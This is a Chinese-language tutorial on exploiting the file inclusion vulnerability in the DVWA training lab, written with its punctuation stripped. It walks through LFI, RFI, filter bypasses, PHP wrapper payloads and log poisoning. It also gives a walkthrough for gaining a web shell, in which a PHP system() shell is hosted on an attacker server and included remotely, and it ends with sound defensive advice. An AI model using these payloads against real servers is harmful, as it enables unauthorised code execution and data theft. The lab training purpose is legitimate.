DVWA文件包含漏洞实战：从allow_url_include配置到GetShell全流程解析

DVWA文件包含漏洞实战从环境配置到攻击防御全解析漏洞原理与靶场环境搭建文件包含漏洞是Web安全领域常见的高危漏洞之一它允许攻击者通过动态文件包含机制读取敏感文件或执行任意代码。在PHP开发中include、require等函数的不当使用是导致该漏洞的主要原因。漏洞核心机制当开发者使用变量动态包含文件时若未对用户输入进行严格过滤攻击者就能控制包含的文件路径。根据包含文件的来源可分为两种类型本地文件包含(LFI)包含服务器本地的文件远程文件包含(RFI)通过HTTP/FTP等协议包含远程服务器上的文件在DVWA靶场中文件包含模块默认会提示The PHP function allow_url_include is not enabled这是因为PHP的安全配置限制了远程文件包含功能。要启用完整功能需修改php.ini中的两个关键参数allow_url_include On allow_url_fopen On修改后需重启Web服务使配置生效。值得注意的是在生产环境中开启这些选项会显著增加安全风险靶场环境仅为教学目的而配置。基础漏洞利用实战Low安全级别无防护的包含漏洞在DVWA的Low安全级别下代码直接使用用户输入的page参数进行文件包含没有任何过滤措施$file $_GET[page];这种实现方式极其危险攻击者可以读取系统敏感文件如/etc/passwd包含远程恶意脚本执行任意代码通过路径遍历访问Web目录外的文件典型攻击示例# 本地文件包含 http://靶场地址/vulnerabilities/fi/?page../../../../etc/passwd # 远程文件包含 http://靶场地址/vulnerabilities/fi/?pagehttp://攻击者服务器/shell.txt提示在实际渗透测试中成功利用RFI通常能直接获取服务器权限是最危险的Web漏洞之一Medium安全级别基础过滤与绕过Medium级别增加了简单的过滤机制$file str_replace(array(http://, https://), , $file); $file str_replace(array(../, ..\\), , $file);这种过滤可通过以下方式绕过双写绕过hthttp://tp://attacker.com/shell.txt → 过滤后变为http://attacker.com/shell.txt大小写混淆HtTp://或HTTP://可能绕过简单的大小写敏感过滤使用其他协议如ftp://、php://等未被过滤的协议有效Payload示例# 双写绕过路径遍历 http://靶场地址/vulnerabilities/fi/?page....//....//etc/passwd # 大小写混淆远程包含 http://靶场地址/vulnerabilities/fi/?pageHtTp://attacker.com/shell.txt高级攻击技术与防御绕过High安全级别严格的文件名限制High级别采用了更严格的限制只允许包含以file开头的文件if(!fnmatch(file*, $file) $file ! include.php) { echo ERROR: File not found!; exit; }这种情况下攻击者可以利用file协议读取本地文件file:///etc/passwd结合已知文件路径进行目录遍历file1.php../../../../etc/passwd高级利用技巧# 使用file协议读取配置文件 http://靶场地址/vulnerabilities/fi/?pagefile:///etc/passwd # 日志文件注入攻击需知道日志路径 1. 访问包含PHP代码的URL?php system($_GET[cmd]);? 2. 包含日志文件执行代码?page../../var/log/apache2/access.logcmdid伪协议利用技术PHP支持多种伪协议在文件包含漏洞中特别有用协议用途示例php://input执行POST数据中的代码需同时发送POST请求体php://filter读取文件源码Base64编码php://filter/convert.base64-encode/resourceconfig.phpdata://直接包含Base64编码的数据data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8伪协议攻击示例# 使用php://filter读取配置文件源码 http://靶场地址/vulnerabilities/fi/?pagephp://filter/convert.base64-encode/resourceindex.php # 使用data://直接执行代码 http://靶场地址/vulnerabilities/fi/?pagedata://text/plain,?php system(id);?防御方案与最佳实践多层级防御策略输入验证层使用白名单严格限制可包含的文件过滤所有特殊字符../, ://等验证文件扩展名和路径配置加固层allow_url_include Off allow_url_fopen Off open_basedir /var/www/html代码设计层避免动态包含用户可控的文件使用固定文件映射代替直接变量包含实现文件完整性校验机制安全代码示例不安全实现$page $_GET[page]; include($page);安全实现$allowed [home.php, about.php, contact.php]; $page $_GET[page]; if(in_array($page, $allowed)) { include($page); } else { include(404.php); }漏洞利用的实战案例案例1通过文件包含获取WebShell准备一个包含WebShell代码的文本文件shell.txt?php system($_GET[cmd]);?在攻击者服务器上启动HTTP服务python3 -m http.server 80通过RFI包含远程文件http://靶场地址/vulnerabilities/fi/?pagehttp://攻击者IP/shell.txt?cmdid案例2日志注入攻击确定Web服务器日志路径如/var/log/apache2/access.log发送包含PHP代码的请求curl -A ?php system($_GET[cmd]);? http://靶场地址/包含日志文件执行代码http://靶场地址/vulnerabilities/fi/?page../../var/log/apache2/access.logcmdid生产环境防护建议最小权限原则Web服务器以低权限用户运行限制PHP可访问的目录open_basedir定期审计文件权限深度防御措施部署WAF拦截包含攻击特征请求启用PHP安全模式safe_mode配置SELinux/AppArmor限制Web进程行为持续监控监控异常文件包含行为审计包含的文件路径记录并分析包含失败的尝试文件包含漏洞的危害不容小觑从简单的信息泄露到完整的系统沦陷都可能发生。通过DVWA靶场的实践我们可以深入理解漏洞原理、掌握多种利用技术并学习如何构建有效的防御体系。